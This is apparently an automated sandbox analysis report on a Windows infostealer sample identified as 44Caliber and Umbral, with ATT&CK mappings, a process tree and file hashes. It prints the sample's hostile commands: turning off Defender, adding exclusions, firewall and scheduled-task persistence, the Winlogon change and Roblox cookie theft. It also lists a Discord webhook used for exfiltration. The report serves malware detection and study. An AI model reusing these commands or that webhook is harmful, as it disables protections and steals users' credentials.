44caliber | f854e61c5fe94b9cf0f5074174e7008fcf73f4bb8610b04c4a69d465c07a87f2

Analysis

max time kernel
93s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08-09-2024 12:22

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General

Target

fd8810323361a1a2dce67cf6f972c670N.exe
Size

822KB
MD5

fd8810323361a1a2dce67cf6f972c670
SHA1

771b220ddb991aea4084ea7d4c6b7974513f58ad
SHA256

f854e61c5fe94b9cf0f5074174e7008fcf73f4bb8610b04c4a69d465c07a87f2
SHA512

b78d295401953b90f41ddcde26d34678a585818d7f0c1fb98c6995625afad737ce06cb346f086c78de502db671288f44218d901f23b772f2d3026cd571a27323
SSDEEP

12288:uf8gbof4mhRT1sngcKrhQdEiI2wKcj8eFpXnXfpKUFqkj3VyVlq8nK2iRB:C8gbGr2urcEivzeF5Xekj3P2

Score

10^/10

44caliber umbral credential_access discovery execution persistence spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1277266868607909908/QiJcGAwDqWNtmVvOEAXbQRof-6-EayQHWtIisK36ihRezCI8pq0CiZEozVxo5r80Fkm9

Extracted

Family

44caliber

https://discord.com/api/webhooks/1277266868607909908/QiJcGAwDqWNtmVvOEAXbQRof-6-EayQHWtIisK36ihRezCI8pq0CiZEozVxo5r80Fkm9

Signatures

44Caliber
An open source infostealer written in C#.
stealer 44caliber

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023452-66.dat	family_umbral
behavioral2/memory/2488-68-0x000002916E7D0000-0x000002916E810000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Microsoft Edge"	Microsoft Edge.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4008	powershell.exe
5008	powershell.exe
2996	powershell.exe
4328	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	fd8810323361a1a2dce67cf6f972c670N.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	NerestPC..exe

Executes dropped EXE 8 IoCs

pid	Process
1520	NerestPC..exe
4216	NerestPC.exe
4212	Microsoft Edge.exe
5084	Insidious.exe
2488	Umbral.exe
3692	Microsoft Edge
2652	Microsoft Edge
3220	Microsoft Edge

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
31	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	freegeoip.app
10	freegeoip.app
16	ip-api.com

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft Edge	Microsoft Edge
File created	C:\Windows\Microsoft Edge	Microsoft Edge.exe
File opened for modification	C:\Windows\Microsoft Edge	Microsoft Edge.exe
File opened for modification	C:\Windows\Microsoft Edge	Microsoft Edge
File opened for modification	C:\Windows\Microsoft Edge	Microsoft Edge

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3972	cmd.exe
4356	PING.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Insidious.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Insidious.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4320	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4356	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4996	schtasks.exe
2756	schtasks.exe
4960	schtasks.exe
2192	schtasks.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
5084	Insidious.exe
5084	Insidious.exe
5084	Insidious.exe
5084	Insidious.exe
2488	Umbral.exe
4328	powershell.exe
4328	powershell.exe
4008	powershell.exe
4008	powershell.exe
5008	powershell.exe
5008	powershell.exe
4764	powershell.exe
4764	powershell.exe
2996	powershell.exe
2996	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5084	Insidious.exe
Token: SeDebugPrivilege	2488	Umbral.exe
Token: SeDebugPrivilege	4212	Microsoft Edge.exe
Token: SeIncreaseQuotaPrivilege	3144	wmic.exe
Token: SeSecurityPrivilege	3144	wmic.exe
Token: SeTakeOwnershipPrivilege	3144	wmic.exe
Token: SeLoadDriverPrivilege	3144	wmic.exe
Token: SeSystemProfilePrivilege	3144	wmic.exe
Token: SeSystemtimePrivilege	3144	wmic.exe
Token: SeProfSingleProcessPrivilege	3144	wmic.exe
Token: SeIncBasePriorityPrivilege	3144	wmic.exe
Token: SeCreatePagefilePrivilege	3144	wmic.exe
Token: SeBackupPrivilege	3144	wmic.exe
Token: SeRestorePrivilege	3144	wmic.exe
Token: SeShutdownPrivilege	3144	wmic.exe
Token: SeDebugPrivilege	3144	wmic.exe
Token: SeSystemEnvironmentPrivilege	3144	wmic.exe
Token: SeRemoteShutdownPrivilege	3144	wmic.exe
Token: SeUndockPrivilege	3144	wmic.exe
Token: SeManageVolumePrivilege	3144	wmic.exe
Token: 33	3144	wmic.exe
Token: 34	3144	wmic.exe
Token: 35	3144	wmic.exe
Token: 36	3144	wmic.exe
Token: SeIncreaseQuotaPrivilege	3144	wmic.exe
Token: SeSecurityPrivilege	3144	wmic.exe
Token: SeTakeOwnershipPrivilege	3144	wmic.exe
Token: SeLoadDriverPrivilege	3144	wmic.exe
Token: SeSystemProfilePrivilege	3144	wmic.exe
Token: SeSystemtimePrivilege	3144	wmic.exe
Token: SeProfSingleProcessPrivilege	3144	wmic.exe
Token: SeIncBasePriorityPrivilege	3144	wmic.exe
Token: SeCreatePagefilePrivilege	3144	wmic.exe
Token: SeBackupPrivilege	3144	wmic.exe
Token: SeRestorePrivilege	3144	wmic.exe
Token: SeShutdownPrivilege	3144	wmic.exe
Token: SeDebugPrivilege	3144	wmic.exe
Token: SeSystemEnvironmentPrivilege	3144	wmic.exe
Token: SeRemoteShutdownPrivilege	3144	wmic.exe
Token: SeUndockPrivilege	3144	wmic.exe
Token: SeManageVolumePrivilege	3144	wmic.exe
Token: 33	3144	wmic.exe
Token: 34	3144	wmic.exe
Token: 35	3144	wmic.exe
Token: 36	3144	wmic.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeIncreaseQuotaPrivilege	2176	wmic.exe
Token: SeSecurityPrivilege	2176	wmic.exe
Token: SeTakeOwnershipPrivilege	2176	wmic.exe
Token: SeLoadDriverPrivilege	2176	wmic.exe
Token: SeSystemProfilePrivilege	2176	wmic.exe
Token: SeSystemtimePrivilege	2176	wmic.exe
Token: SeProfSingleProcessPrivilege	2176	wmic.exe
Token: SeIncBasePriorityPrivilege	2176	wmic.exe
Token: SeCreatePagefilePrivilege	2176	wmic.exe
Token: SeBackupPrivilege	2176	wmic.exe
Token: SeRestorePrivilege	2176	wmic.exe
Token: SeShutdownPrivilege	2176	wmic.exe
Token: SeDebugPrivilege	2176	wmic.exe
Token: SeSystemEnvironmentPrivilege	2176	wmic.exe
Token: SeRemoteShutdownPrivilege	2176	wmic.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 4556 wrote to memory of 1520	4556	fd8810323361a1a2dce67cf6f972c670N.exe	87
PID 4556 wrote to memory of 1520	4556	fd8810323361a1a2dce67cf6f972c670N.exe	87
PID 4556 wrote to memory of 4216	4556	fd8810323361a1a2dce67cf6f972c670N.exe	88
PID 4556 wrote to memory of 4216	4556	fd8810323361a1a2dce67cf6f972c670N.exe	88
PID 1520 wrote to memory of 4212	1520	NerestPC..exe	90
PID 1520 wrote to memory of 4212	1520	NerestPC..exe	90
PID 1520 wrote to memory of 5084	1520	NerestPC..exe	91
PID 1520 wrote to memory of 5084	1520	NerestPC..exe	91
PID 1520 wrote to memory of 2488	1520	NerestPC..exe	92
PID 1520 wrote to memory of 2488	1520	NerestPC..exe	92
PID 2488 wrote to memory of 3144	2488	Umbral.exe	93
PID 2488 wrote to memory of 3144	2488	Umbral.exe	93
PID 2488 wrote to memory of 5036	2488	Umbral.exe	95
PID 2488 wrote to memory of 5036	2488	Umbral.exe	95
PID 2488 wrote to memory of 4328	2488	Umbral.exe	97
PID 2488 wrote to memory of 4328	2488	Umbral.exe	97
PID 2488 wrote to memory of 4008	2488	Umbral.exe	99
PID 2488 wrote to memory of 4008	2488	Umbral.exe	99
PID 2488 wrote to memory of 5008	2488	Umbral.exe	101
PID 2488 wrote to memory of 5008	2488	Umbral.exe	101
PID 4212 wrote to memory of 3576	4212	Microsoft Edge.exe	104
PID 4212 wrote to memory of 3576	4212	Microsoft Edge.exe	104
PID 4212 wrote to memory of 3596	4212	Microsoft Edge.exe	105
PID 4212 wrote to memory of 3596	4212	Microsoft Edge.exe	105
PID 3596 wrote to memory of 4996	3596	cmd.exe	108
PID 3596 wrote to memory of 4996	3596	cmd.exe	108
PID 2488 wrote to memory of 4764	2488	Umbral.exe	109
PID 2488 wrote to memory of 4764	2488	Umbral.exe	109
PID 2488 wrote to memory of 2176	2488	Umbral.exe	111
PID 2488 wrote to memory of 2176	2488	Umbral.exe	111
PID 2488 wrote to memory of 2600	2488	Umbral.exe	113
PID 2488 wrote to memory of 2600	2488	Umbral.exe	113
PID 2488 wrote to memory of 4184	2488	Umbral.exe	115
PID 2488 wrote to memory of 4184	2488	Umbral.exe	115
PID 2488 wrote to memory of 2996	2488	Umbral.exe	117
PID 2488 wrote to memory of 2996	2488	Umbral.exe	117
PID 2488 wrote to memory of 4320	2488	Umbral.exe	119
PID 2488 wrote to memory of 4320	2488	Umbral.exe	119
PID 2488 wrote to memory of 3972	2488	Umbral.exe	127
PID 2488 wrote to memory of 3972	2488	Umbral.exe	127
PID 3972 wrote to memory of 4356	3972	cmd.exe	129
PID 3972 wrote to memory of 4356	3972	cmd.exe	129
PID 3692 wrote to memory of 5112	3692	Microsoft Edge	132
PID 3692 wrote to memory of 5112	3692	Microsoft Edge	132
PID 5112 wrote to memory of 2756	5112	cmd.exe	134
PID 5112 wrote to memory of 2756	5112	cmd.exe	134
PID 2652 wrote to memory of 4376	2652	Microsoft Edge	141
PID 2652 wrote to memory of 4376	2652	Microsoft Edge	141
PID 4376 wrote to memory of 4960	4376	cmd.exe	143
PID 4376 wrote to memory of 4960	4376	cmd.exe	143
PID 3220 wrote to memory of 3912	3220	Microsoft Edge	146
PID 3220 wrote to memory of 3912	3220	Microsoft Edge	146
PID 3912 wrote to memory of 2192	3912	cmd.exe	148
PID 3912 wrote to memory of 2192	3912	cmd.exe	148

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5036	attrib.exe

C:\Users\Admin\AppData\Local\Temp\fd8810323361a1a2dce67cf6f972c670N.exe
"C:\Users\Admin\AppData\Local\Temp\fd8810323361a1a2dce67cf6f972c670N.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4556
- C:\Users\Admin\AppData\Local\Temp\NerestPC..exe
  "C:\Users\Admin\AppData\Local\Temp\NerestPC..exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Users\Admin\AppData\Local\Temp\Microsoft Edge.exe
    "C:\Users\Admin\AppData\Local\Temp\Microsoft Edge.exe"
    3⤵
    - Modifies WinLogon for persistence
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4212
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" netsh advfirewall firewall add rule name="j|XQ!R#B!XDJ!<" dir=in action=allow program="C:\Windows\Microsoft Edge" enable=yes & exit
      4⤵
      PID:3576
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3596
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4996
- - C:\Users\Admin\AppData\Local\Temp\Insidious.exe
    "C:\Users\Admin\AppData\Local\Temp\Insidious.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3144
  - - C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Views/modifies file attributes
      PID:5036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4764
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2176
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:2600
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:4184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2996
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:4320
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:3972
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4356
- C:\Users\Admin\AppData\Local\Temp\NerestPC.exe
  "C:\Users\Admin\AppData\Local\Temp\NerestPC.exe"
  2⤵
  - Executes dropped EXE
  PID:4216

C:\Windows\Microsoft Edge
"C:\Windows\Microsoft Edge"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2756

C:\Windows\Microsoft Edge
"C:\Windows\Microsoft Edge"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4960

C:\Windows\Microsoft Edge
"C:\Windows\Microsoft Edge"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Microsoft Edge" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2249c1abe17d85b5402fc00d82e7b6fe

SHA1
06752345c46ecf87880616799125d5895af00866

SHA256
b334f9aeb8b5c13d3ecbe299905b9f0418a5436e81eefc20479a99eff6a41289

SHA512
fb18fc5576badd291269025fee6a6d4ac4f50e9f5631df910dccf6370261f67029310f387aff9d84cfb6f44759b2848b4df469493d96707539990f28c45fef28

Download Submit
C:\Users\Admin\AppData\Local\Temp\Insidious.exe

Filesize
274KB

MD5
b70c03532081c928f946e844c5d2172d

SHA1
7908b1d1e9ab5e222faa6c816dd861382aa4a5c5

SHA256
3cf9d10fb9434a9c83d0fb65401e65b11fa643264ff17b5a9d75022e5d41ae29

SHA512
81e4df48e246e3d842ddf8834bd96388f38e72ead2ae5f46a473dc9bbfe56621e5912f51a7dea1ba523b28144e11305ef29d48c61ca3525c80efc0a76a265ecb

Download Submit
C:\Users\Admin\AppData\Local\Temp\Microsoft Edge.exe

Filesize
602KB

MD5
c712f727a84f5b469e49dd51f79e34b5

SHA1
b95384023823b3a04ecc0d535880d49289949c1b

SHA256
8ab8e4a895567d0ff0553247dd299f27bbde248c6230374cad84315b5fe4d3a2

SHA512
6002f2980471d092e5512ca8a4a9b01e6bb7b8f7753ee9b359006c338e0069de088cf71b742c57e3643c92c72b00113025ccc1b4625ac8301d4eba86956de537

Download Submit
C:\Users\Admin\AppData\Local\Temp\NerestPC..exe

Filesize
618KB

MD5
5986b28226b3fa20a0dbd4c1f6763d2e

SHA1
5a8201c46537eee5a5e9ed94f6decb901105a793

SHA256
1ed233837a6efd9552be0f7b83454dd114c4ee38899abaa8c03d04c74b66280a

SHA512
99037bc18cbb1f0a967673f5f184455ed0b839694879e25b464264d1bbe77c75b0fa9fc6d1463b82798c5f52360f78eef2ee1f20076a48fbb21e6d3b9788dd05

Download Submit
C:\Users\Admin\AppData\Local\Temp\NerestPC.exe

Filesize
381KB

MD5
61b2cc02888da42c4332c812884d8667

SHA1
79fb9d18ef4e67579e606de955b495d5e5f93474

SHA256
85346da22eb47ca404caa7acc61adda05e4ecb92a99f7f9996e04aa845d94e67

SHA512
a1683d93927571fd24431ac06629228def0cc325a2f8434cb037755fc73ec88829083f2674e8e0cb9a86fdfc423b2bf645585a362e165e6979408d15e73c0fec

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
231KB

MD5
df69e1468a4656f2eec526de59a89a8b

SHA1
e65e192be57cd672b8ef19cd72ad89cbd3f8f60a

SHA256
4d3a9636e9d29f227b56d7bf140154384e1f426b69cf213ae46115e8d966aa92

SHA512
409dca3f4ce130034b3004726939a59f38939d46e09f04d6c8a77ea20e3ff931d1a7332f00c06c3e46d8c64796ac93299c2f5a6595777f3e05cf89bc0522449f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4h2hnt5.mlc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\44\Process.txt

Filesize
730B

MD5
f89c1a19fafc792110a5ba060d461add

SHA1
393666b0797c9ed6c7b86f8fbe72a4d93edabbe9

SHA256
5da0cbee0caf9bacc3ddc18a4247efbe4a3c863490ff8c5ad705affd890f6ba9

SHA512
fa58dbfb2af02910e4b56bfc49ff00ae22abcef57942b361d9f8a779b98bbe0b94a9daa0dde7a293929e8736cda6d68c173981ae03d0f3b311750c534994b5c3

Download Submit
C:\Users\Admin\AppData\Roaming\44\Process.txt

Filesize
1KB

MD5
a221935827c9c7aa31fb2fac4ef6a0ab

SHA1
b12de39d949a0a0ab761b54135084f673b3fa8db

SHA256
a703365a5aea99f1ce1f6d3e08b2c7178790d4fcdb0ce46d84c8ea7bd6e10c98

SHA512
ecf25843991200ab2711b0d5d260808c8acdb8252b3aa6fbf0c91be10375c858879eb67247e90d86f7ab05a97f3e72cd906cdbceb1dbf2b5c9c057f285612b7b

Download Submit
memory/1520-29-0x0000000000ED0000-0x0000000000F70000-memory.dmp

Filesize
640KB

Download
memory/1520-80-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

Filesize
10.8MB

Download
memory/1520-32-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

Filesize
10.8MB

Download
memory/2488-68-0x000002916E7D0000-0x000002916E810000-memory.dmp

Filesize
256KB

Download
memory/2488-270-0x0000029170EC0000-0x0000029170ECA000-memory.dmp

Filesize
40KB

Download
memory/2488-271-0x0000029170EF0000-0x0000029170F02000-memory.dmp

Filesize
72KB

Download
memory/2488-217-0x0000029170F20000-0x0000029170F96000-memory.dmp

Filesize
472KB

Download
memory/2488-218-0x0000029170FA0000-0x0000029170FF0000-memory.dmp

Filesize
320KB

Download
memory/2488-219-0x000002916ECC0000-0x000002916ECDE000-memory.dmp

Filesize
120KB

Download
memory/4212-56-0x0000000000320000-0x00000000003B8000-memory.dmp

Filesize
608KB

Download
memory/4216-31-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

Filesize
10.8MB

Download
memory/4216-27-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

Filesize
10.8MB

Download
memory/4216-25-0x00000000004B0000-0x0000000000516000-memory.dmp

Filesize
408KB

Download
memory/4328-189-0x00000286EA8C0000-0x00000286EA8E2000-memory.dmp

Filesize
136KB

Download
memory/4556-28-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

Filesize
10.8MB

Download
memory/4556-0-0x00007FF9837D3000-0x00007FF9837D5000-memory.dmp

Filesize
8KB

Download
memory/4556-14-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

Filesize
10.8MB

Download
memory/4556-1-0x0000000000CE0000-0x0000000000DB4000-memory.dmp

Filesize
848KB

Download
memory/5084-65-0x000002259CD70000-0x000002259CDBA000-memory.dmp

Filesize
296KB

Download